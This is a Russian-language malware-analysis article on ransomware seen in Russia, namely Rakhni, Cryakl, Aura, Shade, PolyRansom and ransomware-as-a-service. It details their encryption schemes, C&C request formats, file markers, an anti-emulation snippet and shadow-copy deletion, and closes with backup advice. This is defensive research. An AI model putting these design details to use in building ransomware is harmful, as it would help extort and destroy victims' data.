В прошлых статьях мы описывали несколько нашумевших в зарубежных СМИ шифровальщиков. Однако в русскоязычном сегменте Паутины сегодня правят бал не CryptoWall и не CTB-Locker — на нашей родине сформировалась «экосистема» из других видов троянов-вымогателей, в большинстве своем не выходящих на мировую арену. Сегодня мы познакомимся с некоторыми из них, а в качестве бонуса пробежимся по модным тенденциям мирового ransomware-строения.

 

Общие закономерности

  • Большинство отечественных троянов-вымогателей, в отличие от своих любящих публичность коллег (CryptoLocker, CryptoWall, TorrentLocker, TeslaCrypt), никак не афишируют свое название.
  • Авторы троянов часто используют «простые» средства разработки, готовые утилиты для шифрования, иногда даже обычные архиваторы, что дает повод задуматься о квалификации писателей малвари. Разумеется, из этого правила встречаются исключения.
 

Trojan-Ransom.Win32.Rakhni

Также получил имена Trojan.Encoder.398 и Win32/Filecoder.NDE, авторское название неизвестно. Этот троян появился в 2013 году (который можно считать годом ransomware: тогда мы наблюдали взрывной рост их числа). С тех пор Rakhni претерпел немало изменений, но не будем углубляться в историю, а разберем современный семпл, обнаруженный в сентябре 2015-го.

Обычно этот троян распространяется в неупакованном виде. Открываем файл в Hiew (рис. 1) и сразу видим характерные устрашающие фразы, адрес почты злоумышленника, а также список расширений, по которым будет производиться поиск файлов. Опытный взгляд определит, что файл написан в среде Delphi (та-ак, а кто тут говорил, что на Delphi больше не пишут? 🙂 — Прим. ред.), проверить это можно с помощью PEiD, Detect It Easy или любого другого удобного инструмента. По строкам в конце файла также легко обнаружить, что использована библиотека DCPCrypt2, — можно предположить, что реализация криптоалгоритмов взята именно оттуда (в дальнейшем это подтвердилось).

Рис. 1. Семпл Rakhni при просмотре в Hiew
Рис. 1. Семпл Rakhni при просмотре в Hiew

Для анализа написанных на Delphi семплов удобно воспользоваться Interactive Delphi Reconstructor — можно разбирать прямо в нем, а можно сгенерировать IDC-скрипт для последующего импорта в IDA. Большинство библиотечных функций IDR распознает верно, поэтому пропустим рутину статического анализа и перейдем к самому интересному — результатам.

 

Поиск файлов для шифрования

Троян проходит по подключенным дискам, ищет файлы по списку расширений, их пути сохраняет в зашифрованном виде в текстовый файл %TEMP%\allfiles.list. Пути шифруются алгоритмом Blowfish в режиме CFB-8, в качестве ключа используется хеш SHA-1 от содержащейся в теле строки lklaljga, а общее число найденных файлов сохраняется в глобальной переменной.

 

Коммуникация с командным сервером

После завершения поиска всех файлов с подходящими расширениями троян отправляет запрос к C&C:

http://<cnc.url>/index.php?ui=s&id=<install-id>&c=<num-files>

Здесь install-id — строка, сгенерированная на основе имен машины и пользователя, num-files — число файлов, пригодных для шифрования.
В ответ сервер отдает строку с данными в формате JSON:

{
    "email": "filesos@yeah.net",
    "key": "<file-encryption-password>", // Пароль для шифрования файлов
    "ext": "<extension-suffix>", // Строка, добавляемая к расширению зашифрованного файла после адреса почты злоумышленника
    "hashType": 1, // Номер хеша для шифрования файлов
    "cipherType": 2, // Номер шифра для шифрования файлов
    "cmType": 3, // Режим шифра
    "saltSize": 4, // Размер соли
    "Ct": 5, // Номер шифра для шифрования имен
    "Ht": 6, // Номер хеша для шифрования имен
    "KeyStr": "<name-encryption-password>" // Пароль для шифрования имен
}

Если C&C не ответил, троян не прерывает выполнение — вместо этого он использует один из четырех зашитых в тело вариантов такого JSON-конфига.

 

Шифрование файлов

Rakhni считывает заранее сгенерированный файл %TEMP%\allfiles.list со списком путей, расшифровывает каждую строку и обрабатывает соответствующий файл. На основе данных из JSON-конфига выбирается один из восемнадцати шифров:

  • Blowfish;
  • Cast128;
  • Cast256;
  • DES;
  • ГОСТ;
  • ICE;
  • IDEA;
  • MARS;
  • MISTY1;
  • 3DES;
  • RC4;
  • RC5;
  • RC6;
  • Rijndael (основа стандарта AES);
  • Serpent;
  • TEA;
  • Twofish;
  • RC2

и один из девяти хешей:

  • SHA-1;
  • SHA-256;
  • SHA-512;
  • MD4;
  • MD5;
  • HAVAL;
  • RIPEMD-128;
  • RIPEMD-160;
  • Tiger.

Затем генерируется соль заданной длины, пароль из конфига хешируется с солью, результат используется как ключ для выбранного шифра. IV генерируется каждый раз новый (впоследствии, как и соль, он сохраняется в начале зашифрованного файла). Содержимое каждого файла затем шифруется в выбранном режиме (CBC, CFB-8, CFB, OFB либо CTR).

WWW


Ссылки для тех, кто хочет познакомиться с типами шифров и режимами их работы либо освежить знания:

На этом, однако, современный семпл Rakhni не останавливается. Чтобы еще сильнее напакостить, он шифрует и имя файла — в качестве параметров шифрования использует поля Ct, Ht, KeyStr из конфига, хеширует без соли, режим шифра берет CFB-8. Полученный массив зашифрованных байтов кодирует в Base64, а иногда попадающиеся символы / заменяет строкой {slash}. В итоге зашифрованный файл получает выглядящее подобным образом имя:

HNo0WXDGQqCW6Upfo0SO9NTFcRM592wdN52nTg==.filesos@yeah.net_Lklde

Требования злоумышленника троян сохраняет в файлах КаК_РаСшИфРоВаТь_ФаЙлЫ.html.

 

Другие особенности

Как и многие другие криптовымогатели, Rakhni удаляет теневые копии, однако делает это он необычным способом. Он дропает на диск и запускает VBS-скрипт, а тот выполняет запрос к системе WMI (классу Win32_ShadowCopy), чтобы удалить имеющиеся предыдущие версии файлов. Зачем это сделано именно так? Можно предположить, что таким образом автор пытается обмануть проактивный детект антивирусов.

 

Trojan-Ransom.Win32.Cryakl

Он же Ransom:Win32/Simlosap.A, Trojan.Encoder.567, Win32/Filecoder.CQ.
«Лаборатория Касперского» год назад опубликовала разбор актуальной на тот момент версии этого трояна. Сейчас же мы рассмотрим современный образец и увидим, что изменилось за прошедшие месяцы.

Cryakl обычно распространяется в упакованном виде. Мне встречались семплы, упакованные Armadillo, но в последнее время чаще применяется самописный пакер на Visual Basic. Действует он незамысловато: расшифровывает полезную нагрузку в виде оригинального PE, запускает копию своего процесса и внедряет в него целевой код.


Пакер снимается тривиально: ставим точку останова на CreateProcess, когда она срабатывает, ищем регион с правами RW, размером около 400 Кбайт и располагающийся перед адресами, по которым спроецированы системные DLL

На рис. 2 видно, что этот регион действительно содержит нечто похожее на PE-файл. Дампим регион, извлекаем из него нетронутый оригинальный PE.

Рис. 2. Снимаем VB-пакер
Рис. 2. Снимаем VB-пакер

Рассматриваем распакованный семпл, при помощи подручных средств определяем компилятор (Delphi 6.0–7.0 — 2001–2002 года выпуска, между прочим!), загружаем файл в IDR, IDA или другой инструмент для статического анализа. Строки FGIntPrimeGeneration, FGInt, FGIntRSA, содержащиеся внутри тела, наталкивают на мысль, что троян использует стороннюю реализацию RSA. Исходники библиотеки FGInt, которые можно найти с помощью любого поисковика, сильно помогают в процессе разбора. Кстати, реализация RSA в этой библиотеке вызывает отдельные размышления о судьбах мира, потому как работа с большими числами в процедуре RSAEncrypt производится с помощью строкового представления в двоичной системе (то есть вместо числа 0x123 библиотека будет работать со строкой "100100011" = "\x31\x30\x30\x31\x30\x30\x30\x31\x31").

 

Генерация ключей

После старта троян генерирует идентификатор заражения в формате id = <случайная строка>-<дата и время>@<случайное число>, а также несколько ключей для разных алгоритмов:

  • simpass (2048 символов латинского алфавита в верхнем регистре) и poly (20 цифр от 0 до 9) для самописного симметричного шифра многозначной замены;
  • пару ключей RSA-768 (rsaPub = (n,e), rsaPriv = (n,d), где e = 65537, n и d генерируются по самодельной схеме).

В теле Cryakl зашиты еще три открытых ключа RSA-768 от злоумышленника. Когда вышеуказанные ключевые данные сгенерированы, они представляются в виде строк, затем каждая из них конкатенируется со строкой asshole и шифруется RSA на каждом из трех зашитых в теле ключей. Полученные шифрованные данные склеиваются через символ : и сохраняются в глобальной переменной — назовем ее encrypedKeyData.

 

Шифрование файлов

На основе simpass для каждого файла генерируется свой «файловый ключ» fileKey длиной 30 000 байт.
Первые 30 000 байт содержимого файла шифруются на fileKey и poly симметричным алгоритмом, который можно в виде псевдокода представить так:

for (int i = 0; i < 30000; i++)
    buf[i] = TransformByte(buf[i], fileKey[i], poly[i % 20]);

Процедура TransformByte представляет собой десять преобразований байта открытого текста на основе байта fileKey и байта poly:

switch (poly - '0'){
case 0:
    result = b + key;
    break;

case 1:
    result = b - key;
    break;

case 2:
    result = b + key + poly;
    break;

case 3:
    result = b + key + poly - '0';
    break;

case 4:
    result = b - key - poly;
    break;

case 5:
    result = b - key - poly + '0';
    break;

case 6:
    result = b + poly - '0';
    break;

case 7:
    result = b - poly + '0';
    break;

case 8:
    result = b + poly;
    break;

case 9:
    result = b - poly;
    break;
}

Если файл был длиннее 30 000 байт, троян выбирает три случайных блока по 1024 байт длиной и каждый из них шифрует RSA со сгенерированным при старте процесса открытым ключом.

После завершения этих действий Cryakl формирует служебную структуру и помещает ее в конце зашифрованного файла. Формат структуры выглядит так:

{ENCRYPTSTART} // Метка начала структуры
{
    <4 hex-символа>-<4 hex-символа>: // Серийный номер системного тома (через дефис)
    <32 hex-символа>: // Зашитая в семпл строка (выглядит как хеш)
    <длинные числа через :> // Зашифрованные ключевые данные `encrypedKeyData`
}
{<буквы-дата@время@число} // ID, время заражения и случайное число
{<число>} // Оригинальный размер файла
{CL 1.1.0.0} // Версия Cryakl
{<имя.расширение>} // Оригинальное имя файла
{<32 hex-символа>} // MD5 от ключевых данных (`fileKey`, `poly`, `rsaPriv`)
{<число-1>}{<число-2>}...{<число-n>} // Числа, по которым генерируется `fileKey` на основе `simpass`

{BLOCKSSTART} // Метка начала информации о блоках, зашифрованных RSA
{<число>} // Коэффициент смещения блока (offs = coeff*1024)
{<число>} // Суммарный размер блока
{<бинарные данные>} // Последние байты зашифрованных данных блока
...
{BLOCKSEND} // Конец информации о блоках, зашифрованных RSA
{<число>} // Размер всей структуры (исключая это и следующее поля)
{ENCRYPTENDED} // Метка конца структуры

Зашифрованный файл в итоге переименовывается по схеме:

email-<адрес злоумышленника>.ver-CL 1.1.0.0.id-<идентификатор заражения-дата@время@случайное число>.randomname-<случайная строка>.<случайная строка>.cbf
 

Коммуникация с командным сервером

Запрос, отправляемый на C&C, имеет формат:

http://<cnc.url>/inst.php?vers=CL 1.1.0.0&id=<идентификатор заражения>&sender=<строка - статический идентификатор семпла>

В ответ ожидается строка GOOD. Впрочем, если «отстук» не удался, троян не останавливается и все равно приступает к шифрованию файлов.

 

Другие особенности

На рабочий стол Cryakl ставит изображение, хранящееся в ресурсах семпла в формате JPG. При этом троян сначала сохраняет свой ресурс в файл desk.jpg, затем конвертирует его в BMP при помощи классов TJPEGImage и TBitmap и уже BMP ставит на рабочий стол.

Автор трояна в качестве изображения обычно выбирает разных популярных персонажей. Если в статье «Лаборатории Касперского» бушевал Фантомас, то на этот раз главным героем стал герой «Южного парка» (рис. 3).

Рис. 3. Обои Cryakl
Рис. 3. Обои Cryakl
 

Trojan-Ransom.Win32.Aura

Это один из немногих шифровальщиков, разные версии которого атакуют жертв как в СНГ, так и в странах дальнего зарубежья. Известен также под именами Ransom:Win32/Isda, Trojan:W32/BandarChor, Trojan.Encoder.741.

Как и два предыдущих трояна, Aura написан на Delphi. Распространяется он в различном виде, чаще всего под пакерами, иногда даже многослойными (например, UPX + VB-пакер + UPX, ASPack + VB-пакер + UPX). После распаковки видим, что, в отличие от Rakhni и Cryakl, «полезная нагрузка» в которых начиналась сразу по точке входа, в Aura исполнение начинается со стандартной процедуры инициализации формы (рис. 4). Чтобы понять, где же сама полезная нагрузка, придется просмотреть все обработчики событий. В рассматриваемом семпле подготовка к работе производится в TForm1.FormCreate, а поиск и шифрование файлов — в TForm1.Timer1Timer.

Рис. 4. Код по точке входа Aura
Рис. 4. Код по точке входа Aura
 

Коммуникация с командным сервером

При старте Aura генерирует идентификатор заражения из десяти цифр, а также строку tail вида .id-цифры_blockchain@inbox.com, которая впоследствии будет использована как расширение зашифрованных файлов. Сразу после этого троян отправляет запрос на C&C:

http://<cnc.url>/script.php?number=255&id=<идентификатор заражения>&pc=<имя компьютера>&tail=<приведенная выше строка>

Параметр number означает длину запрашиваемого пароля, в ответ на этот запрос C&C присылает строку символов длины (в нашем случае — 255). Рассматриваемая модификация Aura разбивает эту строку на восемь частей, которые впоследствии берутся для шифрования файлов. Другие модификации этого не делают, а используют пароль одним «куском». В виде псевдокода схему разбиения можно представить в виде:

LStrCopy(password, 1, 32, &passwordPart1);
LStrCopy(password, 33, 64, &passwordPart2);
LStrCopy(password, 65, 96, &passwordPart3);
LStrCopy(password, 97, 128, &passwordPart4);
LStrCopy(password, 129, 160, &passwordPart5);
LStrCopy(password, 161, 192, &passwordPart6);
LStrCopy(password, 193, 224, &passwordPart7);
LStrCopy(password, 225, 256, &passwordPart8);
 

Шифрование файлов

Перед тем как приступить к поиску файлов, Aura использует незамысловатый антиэмуляционный трюк — вызов API-функции с некорректными параметрами и проверка возвращаемого значения.

push    16713F4h        ; cchData
push    offset aFsasgd  ; "fsasgd"
push    288FEB4h        ; LCType
push    67608h          ; Locale
call    GetLocaleInfoA
call    GetLastError
cmp     eax, ERROR_INVALID_PARAMETER
jnz     exit

Явных указаний, откуда взята реализация криптографии, в теле семпла не нашлось (строка StreamAES, конечно, намекает, но поиск по ней готового ответа не дал). Поэтому по константам подтверждаем предположение, что это действительно AES, анализируя (статически или динамически), выясняем, что использован режим CBC. Никакой процедуры превращения пароля в ключ не предусмотрено — просто берутся первые 16 байт пароля. В качестве IV используется всегда одно и то же значение — 16 байт от 0 до 15.

При шифровании файла рассматриваемый семпл трояна берет первые 30 000 байт содержимого файла (если его размер меньше, то берет файл целиком) и шифрует с паролем passwordPart1. В начало файла записывается 32-битное число, равное размеру зашифрованных данных. После этого числа следует шифротекст без последнего dword’а, а последний dword шифротекста записывается в самый конец файла. После него в виде текстовой строки сохраняется смещение этого dword’а, а затем один байт, содержащий длину этой текстовой строки.

На этом шифрование первого слоя завершено, и троян повторяет те же действия с паролями passwordPart2, ..., passwordPart8. В итоге первые 30 000 байт файла оказываются зашифрованы восемь раз, а в конце зашифрованного файла формируется структура из восьми блоков — по одному для каждого слоя:

4 байта                         // Первый dword шифротекста
число в виде текстовой строки   // Смещение этого dword’а
1 байт                          // Длина этой текстовой строки

Зашифрованный файл получает дополнительное расширение вида .id-цифры_blockchain@inbox.com, где после id содержится идентификатор заражения.

Примечание: шифрование в восемь слоев было обнаружено только в семплах с обратным адресом blockchain@inbox.com. Все остальные модификации Aura не делят пароль от C&C на части и шифруют в один слой.

 

Другие особенности

Как и Cryakl, Aura ставит на рабочий стол обои с требованием выкупа. Они порой затрагивают злободневные темы: можно вспомнить годичной давности шумиху по поводу лихорадки Эбола — примерно тогда же распространялась модификация Aura с обратным адресом help@antivirusebola.com и соответствующим визуальным рядом (рис. 5). В нашем сегодняшнем семпле обои рабочего стола эксплуатируют образ бывшего сотрудника АНБ, ныне борца за гласность Эдварда Сноудена (рис. 6).

Рис. 5. Обои Aura на тему Эболы
Рис. 5. Обои Aura на тему Эболы
Рис. 6. Обои Aura с изображением Сноудена
Рис. 6. Обои Aura с изображением Сноудена
 

Trojan-Ransom.Win32.Shade

Также известен как Ransom:Win32/Troldesh, Trojan.Encoder.858, Win32/Filecoder.ED; как и у остальных рассмотренных шифровальщиков, авторское название неизвестно. Не так давно был опубликован достаточно подробный обзор этого трояна, поэтому кратко перечислим его основные отличительные особенности и рассмотрим небольшие изменения, которые произошли со времени той публикации.

Shade написан на C++, распространяется обычно в упакованном виде (разные самодельные пакеры + UPX). Недавно были обнаружены случаи распространения Shade в виде PE внутри OLE-контейнера, встроенного в документ «Здравствуйте.docx». Как это выглядит с точки зрения жертвы, видно на рис. 7. Никакого автоматического заражения не происходит — жертве предлагается самостоятельно кликнуть на иконку внутри документа.

Рис. 7. Документ с Shade, открытый в Word
Рис. 7. Документ с Shade, открытый в Word
 

Основная функциональность

Для шифрования файлов троян использует алгоритм AES-256 в режиме CBC, на каждый файл генерирует два ключа: на одном шифрует содержимое, а на другом — имя файла; в качестве IV использует массив из 16 нулевых байт. Эти уникальные ключи AES он затем шифрует алгоритмом RSA на 3072-битном ключе, полученном от C&C, либо (в случае его недоступности) выбранном из набора ключей, зашитых в теле трояна.

Зашифрованные файлы переименовываются в base64(AES(originalName)).xtbl либо originalName.ytbl, если первый вариант по каким-то причинам невозможен. В недавно обнаруженных семплах на смену xtbl пришло расширение breaking_bad, а строку .ytbl заменила строка .heisenberg, что недвусмысленно отсылает к популярному сериалу.

Из других изменений в современных семплах по сравнению со старыми можно назвать и заметно уменьшившийся размер — ~780 Кбайт вместо ~1,8 Мбайт. Это произошло из-за отказа от линковки с клиентом Tor и вообще от использования C&C в этой анонимной сети.

 

Дополнительная функциональность

Когда файлы зашифрованы, Shade не завершает свой процесс, а в бесконечном цикле через случайные промежутки времени от одного до двух часов запрашивает у C&C список URL, ведущих на семплы дополнительного вредоносного ПО, которые затем скачивает и устанавливает в систему. Получается, что это не только шифровальщик, но и бот-загрузчик, поэтому настоятельно рекомендую провести полное лечение системы, в которой был обнаружен Shade.

 

Другие особенности

Из забавных наблюдений: в дампе памяти трояна можно обнаружить «пасхальное яйцо» — строку с обращением к антивирусным аналитикам. На рис. 8 и 9 показаны соответствующие строки из дампов семплов от 3 июня и 24 сентября 2015 года.

Рис. 8. «Пасхальное яйцо» в июньском Shade
Рис. 8. «Пасхальное яйцо» в июньском Shade
Рис. 9. «Пасхальное яйцо» в сентябрьском Shade
Рис. 9. «Пасхальное яйцо» в сентябрьском Shade
 

На закуску

Вкратце пройдемся по необычным криптовымогателям и трендам, наблюдающимся среди шифровальщиков.

 

Червь-шифровальщик

Полиморфный червь Virus.Win32.PolyRansom (Virus:Win32/Nabucur, W32/VirRnsm, одна из версий его также известна под именем Operation Global III) распространяется по всем доступным ему носителям. Отличие его от других червей в том, что он шифрует файл жертвы (простым алгоритмом xor dword + rol byte), помещает его в зашифрованном виде в тело своей морфированной копии (причем не в оверлей, а внутрь секции) и подменяет этой копией оригинальный файл. Так повторяется для определенного списка расширений, в этот список входит и exe. В результате лечение системы от такого заражения оказывается сложнее, чем от обычных червей и даже PE-инфекторов, ведь, если просто удалить всю малварь, жертва останется без своих файлов.

Когда копию червя запускают, он сам расшифровывает и открывает оригинальный файл, чтобы жертва ничего не заподозрила. Однако уже через несколько минут (когда червь распространится по доступным ему дискам) экран компьютера блокируется в стиле отошедших уже на второй план вымогателей прошлого (рис. 10).

Рис. 10. Экран блокировки PolyRansom
Рис. 10. Экран блокировки PolyRansom
 

Ransomware as a service

Модель распространения шифровальщиков, основанная на открытой для всех желающих партнерской программе. Грубо говоря, это онлайн-конструктор малвари: после регистрации на веб-ресурсе (как правило, расположенном в сети Tor) любой желающий может сгенерировать семпл и распространять его, как посчитает нужным (напоминаю читателям, что такие действия караются в соответствии с УК РФ). Создатель онлайн-конструктора автоматически забирает себе определенный процент от вырученных таким образом денег.

За последний год появилось по крайней мере два нашумевших в СМИ трояна-вымогателя, следующих этой схеме.

Tox

Один из них, Tox (не путать с одноименным децентрализованным мессенджером) был обнаружен в мае 2015 года. По данным сайта bleepingcomputer, за три дня функционирования этого сервиса произошло 900 заражений этим шифровальщиком. Уже в июне автор сервиса раскаялся и принял решение продать его.

Encryptor RaaS

Второй представитель прямо так и называет себя — Encryptor RaaS (Ransomware as a Service). Как выглядит интерфейс конструктора, можно посмотреть на kernelmode. Разработчик трояна заявляет, что его комиссия составит 20% от полученных вымогательством денег.

Encryptor RaaS (Trojan-Ransom.Win32.Raas, Ransom:Win32/Sarento, Trojan.Encoder.1479, Win32/Filecoder.EZ) для работы с большими числами использует библиотеку GMP. Файлы жертвы он шифрует блочным шифром RC5, ключ для каждого файла генерирует с помощью API-функции RtlGenRandom. Затем ключ вместе со служебной информацией шифруется алгоритмом RSA на зашитом в теле трояна 2048-битном ключе.

Интересная особенность — троян специально не трогает файлы с именем wallet.dat. В процедуре проверки имени файла есть такой код:

mov     edi, offset aWalletDat ; "wallet.dat"
mov     ecx, 0Bh
mov     esi, ebx
repe cmpsb
jz      exit

Сделано это, очевидно, чтобы случайно не лишить жертву способа заплатить выкуп.

 

Вместо заключения

Компьютерное вымогательство в последние годы набирает все больший размах. Чтобы не стать жертвой, используй здравый смысл и самое свежее ПО, а для всех ценных файлов регулярно и правильно делай резервные копии — они спасут данные не только от малвари, но и от поломки оборудования и других неприятных неожиданностей.

Приложение

При подготовке статьи исследованы следующие семплы шифровальщиков:

  • a683a02903aaab1772ec1a044ed2d6f5 — Trojan-Ransom.Win32.Rakhni.walx
  • 9e48f627161a068e32fb3d3c61a6a449 — Trojan-Ransom.Win32.Cryakl.ack
  • d8d228235be285d8cc6a04dce4951079 — Trojan-Ransom.Win32.Aura.ws
  • a404b281132627b96cc191162514cd7b — Trojan-Ransom.Win32.Shade.uy
  • 2fe09acc8de48b8835361ea386a275f7 — Trojan-Ransom.Win32.Shade.ur

Подписаться
Уведомить о
1 Комментарий
Старые
Новые Популярные
Межтекстовые Отзывы
Посмотреть все комментарии